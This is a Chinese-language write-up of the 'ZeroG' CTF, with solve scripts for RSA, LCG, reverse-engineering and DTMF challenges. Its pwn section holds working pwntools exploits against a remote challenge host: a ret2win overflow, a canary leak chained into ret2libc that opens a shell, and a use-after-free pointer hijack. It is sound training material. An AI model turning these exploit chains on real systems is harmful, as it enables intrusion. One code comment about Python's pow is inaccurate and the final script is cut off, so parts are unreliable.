2026ZeroG零重力CTFWP

 Crypto

Cry_01.Twin Orbit / 双轨加密

ZeroG 空间站的两个轨道通信模块使用了同一个 RSA 模数 n。 工程师为了“安全隔离”,给两个模块设置了不同的公钥指数: e1 = 65537 e2 = 17 他们认为: “指数不同,密文不同,应该不会出问题。” 但 Fen 发现,两条通信轨道传输的是同一份核心指令。

请恢复明文,得到 flag。

两个 RSA 公钥使用了相同的 n。

如果 gcd(e1, e2) = 1,可以尝试扩展欧几里得。

注意处理负指数,可以使用模逆。

题目描述:

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

from Crypto.Util.number import bytes_to_long

def encrypt_message(flag: bytes, n: int):
    m = bytes_to_long(flag)

    e1 = 65537
    e2 = 17

    c1 = pow(m, e1, n)
    c2 = pow(m, e2, n)

    return e1, e2, c1, c2

n = 78429219359517922271023478963814594552681246043944770910304760471867765174623304038843626799213010074714647155283331308571847776870166597053823412781788611608177305819593874012686298378748721435009046767613360191457980203020570462985478543330425482286818857391023923223033155751757576833456411434713984471383
e1 = 65537
e2 = 17
c1 = 71282312105868131740394478794008286284074152062907735987516077413351604126882776234623911447307962528308126218712123568701353026231889282844009867916343556840839139885445525543186695511199429927944296268193188530317628821728534582820389657490317666947095834711636160892093284048993666399747630728635978820198
c2 = 70751964066395185933408819650408191047287659276501425712138199434404000627978244880544478152411510337684996008892030606559772725285766060014956720285732207231186134371296910276169402781919701351782279058927891124229021162906608266092058475936622126108377526917909078829421351716554783863514592590874754685769

解题:

from Crypto.Util.number import long_to_bytes

n = 78429219359517922271023478963814594552681246043944770910304760471867765174623304038843626799213010074714647155283331308571847776870166597053823412781788611608177305819593874012686298378748721435009046767613360191457980203020570462985478543330425482286818857391023923223033155751757576833456411434713984471383
e1 = 65537
e2 = 17
c1 = 71282312105868131740394478794008286284074152062907735987516077413351604126882776234623911447307962528308126218712123568701353026231889282844009867916343556840839139885445525543186695511199429927944296268193188530317628821728534582820389657490317666947095834711636160892093284048993666399747630728635978820198
c2 = 70751964066395185933408819650408191047287659276501425712138199434404000627978244880544478152411510337684996008892030606559772725285766060014956720285732207231186134371296910276169402781919701351782279058927891124229021162906608266092058475936622126108377526917909078829421351716554783863514592590874754685769

# 扩展欧几里得求a,b
def egcd(a,b):
    if b==0:
        return (1,0,a)
    else:
        x,y,g = egcd(b, a%b)
        return (y, x - (a//b)*y, g)

a,b,g = egcd(e1, e2)
# a = -8, b = 30841
print(a,b)

# 计算m
c1_inv = pow(c1, -1, n)
m = (pow(c1_inv, -a, n) * pow(c2, b, n)) % n  # 因为a是负数,-a=8
# 或者直接 m = pow(c1, a, n) * pow(c2, b, n) % n,pow支持负指数吗?Python的pow不支持负指数,需要逆。
# 所以 m = pow(c1, a, n) 会报错,因为a负数。所以用逆。
# 用上面的方法。
m = (pow(c1_inv, 8, n) * pow(c2, 30841, n)) % n

flag = long_to_bytes(m)
print(flag)

 

Cry_02.Lunar LCG / 月面伪随机

题目描述:

ZeroG 月面中继站使用一个轻量级伪随机数发生器生成通信密钥流。 开发人员说: “我们没有直接使用固定密钥,而是每次用随机数发生器生成密钥流,应该足够安全。” Fen 查看遥测日志后发现,中继站在加密前泄露了几次连续的 PRNG 状态。

请分析附件,恢复密钥流并解出 flag。

这是一个线性同余生成器 LCG。

如果知道连续的 state,可以恢复参数 a 和 c。

LCG 满足 state[i+1] = a * state[i] + c mod m。

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

class LunarLCG:
    def __init__(self, m, a, c, state):
        self.m = m
        self.a = a
        self.c = c
        self.state = state

    def next_state(self):
        self.state = (self.a * self.state + self.c) % self.m
        return self.state

    def next_byte(self):
        """
        The relay station uses the lowest 8 bits of each new state
        as one byte of keystream.
        """
        return self.next_state() & 0xff

def xor_encrypt(data: bytes, prng: LunarLCG) -> bytes:
    out = bytearray()

    for b in data:
        k = prng.next_byte()
        out.append(b ^ k)

    return bytes(out)
'''
out.txt
'''
m = 170141183460469231731687303715884105727
leak_states = [
    48077378362307815584689819960136019875,
    100310108693164117002347749113390493183,
    145646689101109657050476193569066602802,
    63949818470656288394594660187785964270,
    46314465195318558087862397882705709486,
    103138436636073932218183299598776830813,
]
ciphertext = 39fe07de62fdc9bf74bbbcbd7e202386ca9e40451b46c74968e30fff138a95

解题:

from Crypto.Util.number import bytes_to_long, long_to_bytes

m = 170141183460469231731687303715884105727
leak_states = [
    48077378362307815584689819960136019875,
    100310108693164117002347749113390493183,
    145646689101109657050476193569066602802,
    63949818470656288394594660187785964270,
    46314465195318558087862397882705709486,
    103138436636073932218183299598776830813
]
ciphertext_hex = "39fe07de62fdc9bf74bbbcbd7e202386ca9e40451b46c74968e30fff138a95"
ciphertext = bytes.fromhex(ciphertext_hex)

# 求解a和c
s0, s1, s2 = leak_states[0], leak_states[1], leak_states[2]
d1 = (s1 - s0) % m
d2 = (s2 - s1) % m
a = (d2 * pow(d1, -1, m)) % m
c = (s1 - a * s0) % m

# 验证
for i in range(1, len(leak_states)):
    assert (a * leak_states[i-1] + c) % m == leak_states[i]

# 从最后一个泄露状态开始生成后续密钥流
state = leak_states[-1]
keystream = []
for _ in range(len(ciphertext)):
    state = (a * state + c) % m
    keystream.append(state & 0xff)

# 解密
plain = bytes([ciphertext[i] ^ keystream[i] for i in range(len(ciphertext))])
print(plain)

 

Cry_03.Phobos Padding / 火卫一填充

题目描述:

火卫一通信节点为了提高广播效率,将同一份核心指令发送给了三个不同的接收端。 每个接收端都有不同的 RSA 模数 n,但为了“加速加密”,工程师统一使用了很小的公钥指数: e = 3 工程师声称: “每个接收端的 n 都不同,所以同一条消息广播三次也没关系。” Fen 看到加密脚本后只说了一句: “没有 padding 的广播,就像没有隔热层的返回舱。”

请从附件中恢复明文,得到 flag。

相同明文被使用 e = 3 加密到了三个不同模数下。

尝试使用中国剩余定理合并三个密文。

如果 m^3 小于 n1 * n2 * n3,那么 CRT 后可以直接开整数三次方。

e = 3

n1 = 9203118261705868019110006623273896134322296004495934622126321588206198211590594608536574205500841860912183113474492528101942483463604127057100041845594123
c1 = 225326225723570437926892098700724301640108952320044616725184090895511961737080288471190011942447422341235122945729017303171992927231675218640713872178033

n2 = 8218974785294030613346971087108222043759818458429043768635262660088269400867661193359046399568686339887944628791712180696779799918022646158973494803220299
c2 = 3407676048044393024576659577470571794093695115844258472643168272782162860244002027327745232045383478691907846926814490953793141526176684717238078901972654

n3 = 8640442409248695297781745462901828098989267118787634310572918885729221856234292677073935037333836295724444289085611427540896246989248186559475612627680863
c3 = 6492260343134932927953198433174002823828534869771319070490239692685600132982822403083735209163800494671140850876058194194328293660168048521787716473266503

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

from Crypto.Util.number import bytes_to_long

def encrypt(flag: bytes, public_keys):
    """
    public_keys:
        [
            (n1, e),
            (n2, e),
            (n3, e),
        ]

    Warning:
        This demo intentionally uses raw RSA without padding.
    """
    m = bytes_to_long(flag)

    result = []

    for n, e in public_keys:
        c = pow(m, e, n)
        result.append((n, e, c))

    return result

解题:

from Crypto.Util.number import long_to_bytes
import gmpy2

n1 = 9203118261705868019110006623273896134322296004495934622126321588206198211590594608536574205500841860912183113474492528101942483463604127057100041845594123
c1 = 225326225723570437926892098700724301640108952320044616725184090895511961737080288471190011942447422341235122945729017303171992927231675218640713872178033

n2 = 8218974785294030613346971087108222043759818458429043768635262660088269400867661193359046399568686339887944628791712180696779799918022646158973494803220299
c2 = 3407676048044393024576659577470571794093695115844258472643168272782162860244002027327745232045383478691907846926814490953793141526176684717238078901972654

n3 = 8640442409248695297781745462901828098989267118787634310572918885729221856234292677073935037333836295724444289085611427540896246989248186559475612627680863
c3 = 6492260343134932927953198433174002823828534869771319070490239692685600132982822403083735209163800494671140850876058194194328293660168048521787716473266503

e = 3

def crt(remainders, moduli):
    total = 0
    N = 1
    for n in moduli:
        N *= n
    for r, n in zip(remainders, moduli):
        Ni = N // n
        inv = pow(Ni, -1, n)
        total += r * Ni * inv
    return total % N

x = crt([c1, c2, c3], [n1, n2, n3])
m = gmpy2.iroot(x, 3)[0]
flag = long_to_bytes(m)
print(flag)

 

PWN

Pwn_01.Starport Ret2win / 星港控制台

题目描述:

远程连接:nc ZeroG 星港控制台存在一个古老的维护接口。 工程师为了方便调试,留下了一个从未被正常调用的后门函数。 但想要抵达那里,必须先控制程序的返回轨道。

请利用漏洞获取远程服务中的动态 flag。

解题:

二进制文件分析,程序存在栈溢出漏洞,可以覆盖返回地址跳转到后门函数 win(地址 0x4011E2

image

 

from pwn import *

HOST = '43.108.37.178'
PORT = ******

WIN_ADDR = 0x4011E2

offset = 72

payload = b'A' * offset + p64(WIN_ADDR)

r = remote(HOST, PORT)

r.recvuntil(b"Input access token:")

r.sendline(payload)

r.interactive()

Pwn_02.Format Station / 格式化空间站

题目描述:

ZeroG 空间站的通信终端存在一个格式化信标接口。 它会把操作员发送的内容直接交给 printf。 更糟糕的是,维护程序后面还有一个缓冲区溢出点。 你需要先通过格式化字符串泄露关键信息,再绕过保护机制,拿到远程容器里的动态 flag。

解题:

from pwn import *

context.arch = 'amd64'
context.log_level = 'info'

HOST = '43.108.37.178'
PORT = 33824

libc = ELF('./libc.so.6')

POP_RDI  = 0x4011fc
PUTS_PLT = 0x401080
PUTS_GOT = 0x403FC8
MAIN     = 0x4013BD

def leak_canary(r):
    r.sendlineafter(b'Send your format beacon:', b'%1$p.')
    data = r.recvuntil(b'Send your access packet:')
    canary = int(data.split(b'.')[0], 16)
    return canary
r = remote(HOST, PORT)
canary1 = leak_canary(r)
log.info(f"canary1 = {hex(canary1)}")

payload1  = b'A' * 0xC8
payload1 += p64(canary1)
payload1 += b'B' * 8
payload1 += p64(POP_RDI)
payload1 += p64(PUTS_GOT)
payload1 += p64(PUTS_PLT)
payload1 += p64(MAIN)

r.send(payload1)
r.recvuntil(b'[-] packet rejected\n')
puts_addr = u64(r.recv(6).ljust(8, b'\x00'))
log.info(f"puts address: {hex(puts_addr)}")

libc.address = puts_addr - libc.symbols['puts']
log.info(f"libc base: {hex(libc.address)}")

system = libc.symbols['system']
binsh  = next(libc.search(b'/bin/sh'))
log.info(f"system: {hex(system)}")
log.info(f"/bin/sh: {hex(binsh)}")

canary2 = leak_canary(r)
log.info(f"canary2 = {hex(canary2)}")

payload2  = b'A' * 0xC8
payload2 += p64(canary2)
payload2 += b'B' * 8
payload2 += p64(POP_RDI)
payload2 += p64(binsh)
payload2 += p64(PUTS_PLT)
payload2 += p64(MAIN)

r.send(payload2)
r.recvuntil(b'[-] packet rejected\n')
binsh_out = r.recvline(keepends=False)
log.info(f"puts(binsh) output: {binsh_out}")

if binsh_out == b'/bin/sh':
    log.success("/bin/sh address verified!")
else:
    log.error("Unexpected string, check binsh address")

canary3 = leak_canary(r)
log.info(f"canary3 = {hex(canary3)}")

payload3  = b'A' * 0xC8
payload3 += p64(canary3)
payload3 += b'B' * 8
# 尝试加一个 ret 对齐
payload3 += p64(0x4011fd)   # ret
payload3 += p64(POP_RDI)
payload3 += p64(binsh)
payload3 += p64(system)

r.send(payload3)
r.interactive()

image

 

Pwn_03.Orbit Notes / 轨道便签

题目描述:

远程连接:nc ZeroG 的轨道维护系统提供了一个便签服务。 每条便签都有自己的显示函数,系统会根据便签内保存的函数指针来输出内容。 但工程师似乎忘记在删除便签后清理指针。

请利用这个堆漏洞,劫持程序控制流并读取远程动态 flag。

堆基础利用

dangling pointer

tcache chunk 复用

函数指针劫持

解题:

from pwn import *


r = remote('43.108.37.178', *****)

r.sendlineafter(b'> ', b'1')
r.sendlineafter(b'Input note content:', b'A'*0x47)

r.sendlineafter(b'> ', b'3')
r.sendlineafter(b'Index: ', b'0')
win_addr = 0x401341
payload = p64(win_addr) + b'B' * (0x50 - 8)
r.send(payload)

r.sendlineafter(b'> ', b'4')
r.sendlineafter(b'Index: ', b'0')

r.recvline()
flag_line = r.recvline().strip()
print(flag_line.decode())
r.close()

 

Reverse

Re_01.Docking Check / 对接口令校验

题目描述:

附件中给出了校验程序 dock_check。 请逆向分析程序逻辑,恢复正确口令。

字节级变换分析

rol / xor / add 等简单可逆运算

从校验常量反推 flag

解题:

# 目标常量数组 (从0x2080开始的28字节)
target = [
    0x77, 0x4C, 0x3A, 0xD6, 0xE0, 0x27, 0xD5, 0x33,
    0x14, 0xD6, 0xFA, 0xE9, 0xE0, 0x37, 0x29, 0x7E,
    0x3D, 0x94, 0x6D, 0xB3, 0x7A, 0x56, 0xA0, 0xBA,
    0xBF, 0x07, 0xA3, 0x7B
]


acc = 0x3C

def rol8(val, bits):
    """8位循环左移"""
    bits %= 8
    return ((val << bits) | (val >> (8 - bits))) & 0xFF

def ror8(val, bits):
    """8位循环右移"""
    bits %= 8
    return ((val >> bits) | (val << (8 - bits))) & 0xFF

result = []
for i in range(28):
    f_val = (acc ^ target[i]) & 0xFF

    # 计算旋转位数
    r = (i % 7) + 1

    # 逆向变换:先 xor 0xA5,再循环右移 r 位
    tmp = ror8(f_val ^ 0xA5, r)

    # 常数 k1, k2
    k1 = (6 + 13 * i) & 0xFF
    k2 = (23 + 17 * i) & 0xFF

    c = ((tmp - k2) & 0xFF) ^ k1
    result.append(chr(c))

    acc = target[i]

flag = ''.join(result)
print(flag)

 

Re_02.Lunar License / 许可证算法逆向

题目描述:

ZeroG 轨道系统的授权模块使用了一套自定义许可证校验逻辑。 工程师说: “许可证校验是自研的,直接看不出来规律。” Fen 拿到的是一个被 strip 过的 Linux ELF 程序。 请逆向分析许可证算法,恢复正确许可证,解出 flag。

字节级加解密逻辑

状态机型校验流程

从 .rodata 中提取常量表

解题:

#!/usr/bin/env python3
import struct

# 从 .rodata 段提取的常量 (由 IDA 反汇编得到)
# 校验目标常量表 (16 字节)
const_target = bytes([
    0xB4, 0x68, 0x6E, 0xBD, 0xEB, 0xFD, 0x0D, 0xC7,
    0xB7, 0x86, 0xAC, 0x6D, 0x3A, 0x2E, 0x68, 0x8D
])

# 加密的 flag 数据 (34 字节)
cipher_flag = bytes([
    0x96, 0xE8, 0x7F, 0x67, 0xB5, 0x88, 0xB1, 0x70,
    0xAD, 0xD8, 0x31, 0x1B, 0x07, 0xCA, 0xD4, 0xB9,
    0xFF, 0xB8, 0x07, 0x33, 0x9B, 0x6C, 0x57, 0x97,
    0x4D, 0xDD, 0x5B, 0x71, 0x67, 0x86, 0xF6, 0x7A,
    0x3C, 0x59
])

def rol8(x, n):
    """8-bit 循环左移"""
    n &= 7
    return ((x << n) & 0xFF) | (x >> (8 - n))

def rol32(x, n):
    """32-bit 循环左移"""
    n &= 31
    return ((x << n) & 0xFFFFFFFF) | (x >> (32 - n))

def solve_license():
    # 初始状态 (与汇编一致)
    r8 = 0x27
    r9 = 0
    r12 = 0x4C554E52   # "RNUL" 小端
    license = bytearray(16)

    # 预计算每个 i 对应的 rol 移位量 cl(依赖 i 但不依赖输入)
    cl_vals = []
    MUL_CONST = 0xCCCCCCCCCCCCCCCD
    for i in range(16):
        # 模拟 mul r11 (r11 = MUL_CONST)
        # 64 位乘法,取高 64 位
        prod = i * MUL_CONST
        rdx = prod >> 64          # 高 64 位
        # 对应汇编:and rdx, 0xFFFFFFFFFFFFFFFC ; mov rax, rdx ; shr rax, 2 ; add rdx, rax
        rdx_low3 = rdx & ~3
        rax = rdx >> 2
        rdx_new = rdx_low3 + rax
        # cl = i - rdx_new + 1
        cl = (i - rdx_new) + 1
        cl_vals.append(cl)

    for i in range(16):
        # 当前 i 对应的有效 rol 移位量(低 3 位)
        rol_shift = cl_vals[i] & 7

        # 根据 i 和当前 r12 计算右移位数
        shift = (i & 3) * 8
        s_val = (r12 >> shift) & 0xFF

        found = False
        for b in range(256):
            # xor 输入字节
            tmp = s_val ^ b
            # rol
            tmp = rol8(tmp, rol_shift)
            # 加 r8,异或 r9,异或 0x5C
            eax = (tmp + r8) & 0xFF
            eax ^= r9
            eax ^= 0x5C
            if eax == const_target[i]:
                license[i] = b
                # 更新状态机
                # 注意:用于更新 r12 的值是变换后得到的 eax(即 const_target[i])
                eax_val = const_target[i]
                eax_val ^= r12
                eax_val ^= 0xA5A5A5A5
                eax_val = rol32(eax_val, 7)
                r12 = (eax_val + 0x13371337) & 0xFFFFFFFF
                r8 = (r8 + 0x13) & 0xFFFFFFFF
                r9 = (r9 + 7) & 0xFFFFFFFF
                found = True
                break
        if not found:
            raise RuntimeError(f"Failed at position {i}")
    return license

def decrypt_flag(license):
    """使用许可证字节解密 flag"""
    plain = bytearray()
    ecx = 0x42   # 初始值
    for i, c in enumerate(cipher_flag):
        key = license[i & 0xF]
        p = c ^ (ecx & 0xFF) ^ key
        plain.append(p)
        ecx += 0x0D
    return plain

def main():
    license_bytes = solve_license()
    license_hex = license_bytes.hex()
    print(f"Valid license (32 hex chars): {license_hex}")
    flag_bytes = decrypt_flag(license_bytes)
    print("Flag (as hex):", flag_bytes.hex())
    flag_str = flag_bytes.decode('utf-8')
    print("Flag string:", flag_str)

if __name__ == "__main__":
    main()

 

Re_03.Nebula Patch / 星云补丁

题目描述:

Flag 类型:静态 flag Flag 格式:flag{...} ZeroG 深空探测器的星云模块内置了一段许可证校验逻辑。 工程师为了阻止逆向分析,加入了反调试检测和多层逻辑判断。 Fen 留下了一句话: “如果星云不让你观察它,那就改变观测路径。”

请逆向分析程序,绕过阻碍,恢复正确输入并得到 flag。

解题:

# 解密passcode
target = [0x04, 0x8E, 0xB3, 0x88, 0xFA, 0x73, 0xD9, 0x1F, 0x81, 0x04, 0x8B, 0x0C, 0xAA, 0x3A, 0x56, 0xA1, 0x37, 0x85]
shifts = [1,2,3,4,5,6,1,2,3,4,5,6,1,2,3,4,5,6]
key1_base = 0x67
key2_base = 0x17

def rol8(x, n):
    n &= 7
    return ((x << n) | (x >> (8 - n))) & 0xFF

def find_passcode():
    state = 0x6D
    passcode = []
    for i in range(18):
        key1 = (key1_base + 0x0B * i) & 0xFF
        key2 = key2_base * (i+1)
        found = None
        for c in range(256):
            rol = rol8(c ^ key1, shifts[i])
            edi = (rol + key2) & 0xFFFFFFFF
            if ((state ^ edi) & 0xFF) == target[i]:
                found = c
                state ^= edi
                break
        if found is None:
            raise ValueError(f"No solution at i={i}")
        passcode.append(found)
    return bytes(passcode)

passcode = find_passcode()
print("Passcode:", passcode.decode())

# 计算flag
input_bytes = passcode
esi = 0x9E3779B9
edi = 0x4E42554C
for i, c in enumerate(input_bytes):
    shift = (i & 3) * 8
    eax = (c << shift) & 0xFFFFFFFF
    eax ^= edi
    eax = (eax + esi) & 0xFFFFFFFF
    esi = (esi + 0x45D9F3B) & 0xFFFFFFFF
    eax = ((eax << 5) | (eax >> 27)) & 0xFFFFFFFF
    edi = eax
    edi ^= 0x7F4A7C15
key = eax ^ 0xBF4BAC18
print("Key:", hex(key))

# 密文
cipher = bytes.fromhex("9D270153E1DE3787561D569097D80AB42ED5A79B67E355A915F33BCFE93E6D5707AF")
# 长度34
assert len(cipher) == 34
plain = bytearray()
edi = 0x42
for i, b in enumerate(cipher):
    if i % 4 == 0:
        # 更新密钥
        edx = key
        edx = (edx << 13) & 0xFFFFFFFF
        key ^= edx
        edx = key >> 17
        key ^= edx
        edx = key
        key = ((edx << 5) & 0xFFFFFFFF) ^ edx
    # 取密钥字节
    shift = (i & 3) * 8
    key_byte = (key >> shift) & 0xFF
    plain_byte = b ^ (edi & 0xFF) ^ key_byte
    plain.append(plain_byte)
    edi = (edi + 0xD) & 0xFF
print("Flag:", plain.decode())

 

Re_04.Nebula VM / 星云虚拟机

题目描述:

Flag 类型:静态 flag Flag 格式:flag{...} ZeroG 的星云模块升级了授权校验系统。 这一次,工程师没有直接写校验逻辑,而是实现了一个非常小的自定义虚拟机。 授权口令的校验逻辑被编译成 bytecode,并且 bytecode 在程序中还是加密存储的。 Fen 留下一句话: “真正的规则不在汇编里,而在星云自己的指令集中。”

请逆向分析 VM 解释器和 bytecode,恢复正确 passcode,并得到 flag。

自定义 VM 解释器识别

VM bytecode 反汇编

xorshift keystream 解密

解题:

enc = [
    0x66, 0x8F, 0x1D, 0x45, 0x52, 0x16, 0xA9, 0xE1, 0xEF, 0x76,
    0xFB, 0x6D, 0xAB, 0xE1, 0xEB, 0x52, 0x93, 0x47, 0x7B, 0x18,
    0x26, 0xFB, 0xA1, 0xF0, 0xA9, 0xD2, 0x43, 0xF9, 0x77
]

def xorshift(x):
    x ^= (x << 13) & 0xFFFFFFFF
    x ^= (x >> 17)
    x ^= (x << 5) & 0xFFFFFFFF
    return x & 0xFFFFFFFF

# 已知 flag 以 "flag" 开头,反推第一次 xorshift 后的状态
esi0 = 0x73
s1 = 0
for i in range(4):
    known = ord("flag"[i])
    s1 |= ((enc[i] ^ (esi0 + 0x13 * i) ^ known) << (8 * i))

state = s1
esi = esi0
out = []
for i in range(29):
    if i > 0 and i % 4 == 0:
        state = xorshift(state)
    shift = (i & 3) * 8
    key_byte = (state >> shift) & 0xFF
    out_byte = enc[i] ^ (esi & 0xFF) ^ key_byte
    out.append(out_byte)
    esi += 0x13

flag = bytes(out).decode()
print(flag)

 

Re_05.Android Re: Docking Station

秘钥当做Key = sha256("Pwnstars:: │ N1-A-Hugo-Gnaw-Fen:: │ www.pwnstars.online")
密文应该是在telemetry.bin文件找,使用XOR-SHA256-CTR解密

import hashlib,struct,zlib
ct=open('d:/su2/suadminserver/telemetry.bin','rb').read()
kdf='Pwnstars::N1-A-Hugo-Gnaw-Fen::www.pwnstars.online'
key=hashlib.sha256(kdf.encode()).digest()
nonce=b'ZEROG-01'

result=bytearray()
cnt=0; pos=0
while pos<len(ct):
    cb=struct.pack('>I', cnt)
    ks=hashlib.sha256(key+nonce+cb).digest()
    chunk=ct[pos:pos+32]
    for i,b in enumerate(chunk): result.append(b^ks[i])
    pos+=32; cnt+=1
dec=bytes(result)
print(dec.decode('utf-8',errors='replace'))

 

得到c3ludHtNcmViVF9mZ25lZ2Vudnlfc2Viel9jamFmZ25lZn0=

解码 Base64:synt{MrebT_fgnegenvy_sebz_cjafgnef}
再解码:flag{ZeroG_startrail_from_pwnstars}

Misc_02.Moonlight Radio / 月光电台

题目描述:

ZeroG 空间站在月背通信窗口中收到了一段短暂的无线电信号。

Fen 说这段音频像是旧时代电话系统的声音; Hugo 在遥测数据里发现了一个加密帧; N1 认为这些声音并不是随机噪声; A 留下了一条推导公式;

Gnaw 只说了一句话: “把数字重新变成字符,然后让月光打开遥测帧。” 请从附件中恢复最终 flag。

radio.wav 中的声音不是摩斯码,更像电话按键音。

DTMF 每个按键由两个固定频率组成。

解出的数字可以每 3 位分组,尝试作为 ASCII 码解释。

解题:

Gnaw说"让月光打开遥测帧":编写脚本

DTMF = {
    (697, 1209): '1', (697, 1336): '2', (697, 1477): '3', (697, 1633): 'A',
    (770, 1209): '4', (770, 1336): '5', (770, 1477): '6', (770, 1633): 'B',
    (852, 1209): '7', (852, 1336): '8', (852, 1477): '9', (852, 1633): 'C',
    (941, 1209): '*', (941, 1336): '0', (941, 1477): '#', (941, 1633): 'D',
}
DTMF_FREQS = [697, 770, 852, 941, 1209, 1336, 1477, 1633]

import wave, numpy as np

w = wave.open('radio.wav', 'rb')
rate = w.getframerate()
data = np.frombuffer(w.readframes(w.getnframes()), dtype=np.int16)
w.close()

if w.getnchannels() == 2:
    data = data.reshape(-1, 2).mean(axis=1)

# Step 2: Spectrogram analysis to find DTMF tones
import math

# Find tone segments by energy
window = int(0.02 * rate)  # 20ms window
step = window // 2
tolerance = 20  # Hz tolerance

# Simple energy-based detection
energy = []
for i in range(0, len(data) - window, step):
    chunk = data[i:i+window].astype(float)
    energy.append(np.sum(chunk**2) / len(chunk))

energy = np.array(energy)
threshold = np.max(energy) * 0.15
active = energy > threshold

print(f'Total frames: {len(energy)}, Active frames: {np.sum(active)}')

# Goertzel algorithm for DTMF detection
def goertzel(samples, target_freq, rate):
    n = len(samples)
    k = int(0.5 + n * target_freq / rate)
    omega = 2 * math.pi * k / n
    coeff = 2 * math.cos(omega)
    s0 = s1 = s2 = 0
    for sample in samples:
        s0 = sample + coeff * s1 - s2
        s2 = s1
        s1 = s0
    real = s1 - s2 * math.cos(omega)
    imag = s2 * math.sin(omega)
    return math.sqrt(real*real + imag*imag) / (n / 2)

# Detect tones in active segments
tone_len = int(0.04 * rate)  # 40ms analysis window
detected_digits = []
in_tone = False
tone_start = None
last_digit = None

for i in range(0, len(data) - tone_len, tone_len // 2):
    chunk = data[i:i+tone_len].astype(float)
    amp = np.sum(chunk**2) / len(chunk)
    
    if amp > threshold:
        # Find the two strongest DTMF frequencies
        powers = {}
        for f in DTMF_FREQS:
            powers[f] = goertzel(chunk, f, rate)
        
        # Find row and column frequencies
        low_freqs = sorted([(f, powers[f]) for f in [697, 770, 852, 941]], key=lambda x: -x[1])
        high_freqs = sorted([(f, powers[f]) for f in [1209, 1336, 1477, 1633]], key=lambda x: -x[1])
        
        row_freq = low_freqs[0][0]
        col_freq = high_freqs[0][0]
        
        if (row_freq, col_freq) in DTMF:
            digit = DTMF[(row_freq, col_freq)]
            if digit != last_digit:  # Debounce
                detected_digits.append(digit)
                last_digit = digit
                print(f'  Detected: {digit} (row={row_freq} col={col_freq})')
    else:
        last_digit = None

digits_str = ''.join(detected_digits)
print(f'\nAll DTMF digits: {digits_str}')
print(f'Length: {len(digits_str)}')

 

解码成功:108117110097114045049055048049

digits='108117110097114045049055048049'
# Step 2: Group by 3 → ASCII
password = ''.join(chr(int(digits[i:i+3])) for i in range(0,len(digits),3))
print(f'Password: {password}')

import hashlib, struct, zlib

# A's formula
key_str = f'ZeroG::{password}::www.pwnstars.online'
key = hashlib.sha256(key_str.encode()).digest()
print(f'Key (hex): {key.hex()}')
print(f'KDF string: {key_str}')

ct = open('telemetry.dat', 'rb').read()
print(f'CT size: {len(ct)} bytes')
print(f'CT first 64 hex: {ct[:64].hex()}')

检验telemetry.dat 头部是 ZGTELv2ZGRMOON2已经在了

用 "moonlight" 作为 nonce 解密

import hashlib, struct, zlib

password = 'lunar-1701'
key_str = f'ZeroG::{password}::www.pwnstars.online'
key = hashlib.sha256(key_str.encode()).digest()

ct = open('telemetry.dat', 'rb').read()
print(f'Full CT: {ct[:200]}')

print(f'CT text: {repr(ct[:100])}')

for i in range(len(ct)):
    if ct[i:i+10] == b'ZGTELv2':
        print(f'ZGTELv2 at offset {i}')
    if ct[i:i+10] == b'ZGRMOON2':
        print(f'ZGRMOON2 at offset {i}')
    if ct[i:i+4] == b'ZGST':
        print(f'ZGST at offset {i}')

print(f'Total bytes: {len(ct)}')
print(f'Full hex dump:')
for i in range(0, len(ct), 32):
    hex_str = ct[i:i+32].hex()
    ascii_str = ''.join(chr(b) if 32<=b<127 else '.' for b in ct[i:i+32])
    print(f'{i:04d}: {hex_str}  {ascii_str}')

头部 ZGTELv2\nZGRMOON2(16字节),之后是密文;利用XOR-SHA256-CTR 解密:

每块:keystream = sha256(key + "ZGRMOON2'+ counter)

得到:c3ludHtNcmViVF96YmJheXZ0dWdfZW5xdmJfcWd6c30=

解码 Base64:synt{MrebT_zbbayvtug_enqvb_qgzs}
再解码:flag{ZeroG_moonlight_radio_dtmf}

解题脚本:

import hashlib, struct, zlib, wave, math, numpy as np

# ==================== Step 1: DTMF Decode ====================
DTMF_FREQS = {
    (697, 1209): '1', (697, 1336): '2', (697, 1477): '3', (697, 1633): 'A',
    (770, 1209): '4', (770, 1336): '5', (770, 1477): '6', (770, 1633): 'B',
    (852, 1209): '7', (852, 1336): '8', (852, 1477): '9', (852, 1633): 'C',
    (941, 1209): '*', (941, 1336): '0', (941, 1477): '#', (941, 1633): 'D',
}
LOW_FREQS = [697, 770, 852, 941]
HIGH_FREQS = [1209, 1336, 1477, 1633]

def goertzel(samples, target_freq, sample_rate):
    N = len(samples)
    k = int(0.5 + N * target_freq / sample_rate)
    omega = 2.0 * math.pi * k / N
    coeff = 2.0 * math.cos(omega)
    s0 = s1 = s2 = 0.0
    for sample in samples:
        s0 = sample + coeff * s1 - s2
        s2 = s1
        s1 = s0
    real = s1 - s2 * math.cos(omega)
    imag = s2 * math.sin(omega)
    return math.sqrt(real*real + imag*imag) / N

def decode_dtmf(wav_path):
    w = wave.open(wav_path, 'rb')
    rate = w.getframerate()
    nframes = w.getnframes()
    raw = w.readframes(nframes)
    w.close()
    samples = np.array(struct.unpack(f'<{nframes}h', raw), dtype=np.float64) / 32768.0
    
    window = int(rate * 0.025)
    hop = int(rate * 0.01)
    energy = np.array([np.mean(np.abs(samples[i:i+window]))
                       for i in range(0, len(samples)-window, hop)])
    threshold = np.mean(energy) * 1.5
    is_tone = energy > threshold
    
    in_tone = False
    segments = []
    start = 0
    for i, tone in enumerate(is_tone):
        if tone and not in_tone:
            start = i * hop
            in_tone = True
        elif not tone and in_tone:
            end = i * hop
            if (end - start) / rate > 0.03:
                segments.append((start, end))
            in_tone = False
    if in_tone:
        segments.append((start, len(samples)))
    
    result = ''
    for seg_start, seg_end in segments:
        seg = samples[seg_start:seg_end]
        low_power = {f: goertzel(seg, f, rate) for f in LOW_FREQS}
        high_power = {f: goertzel(seg, f, rate) for f in HIGH_FREQS}
        low_f = max(low_power, key=low_power.get)
        high_f = max(high_power, key=high_power.get)
        result += DTMF_FREQS.get((low_f, high_f), '?')
    return result

print("=== Step 1: DTMF Decode ===")
digits = decode_dtmf('radio.wav')
print(f"DTMF digits: {digits}")

# ==================== Step 2: Digits → ASCII ====================
print("\n=== Step 2: Digits → ASCII (3-digit groups) ===")
password = ''.join(chr(int(digits[i:i+3])) for i in range(0, len(digits), 3))
print(f"Password: {password}")

# ==================== Step 3: Derive Key ====================
# A's formula: key = sha256("ZeroG::" + radio_password + "::www.pwnstars.online")
key_str = f"ZeroG::{password}::www.pwnstars.online"
key = hashlib.sha256(key_str.encode()).digest()
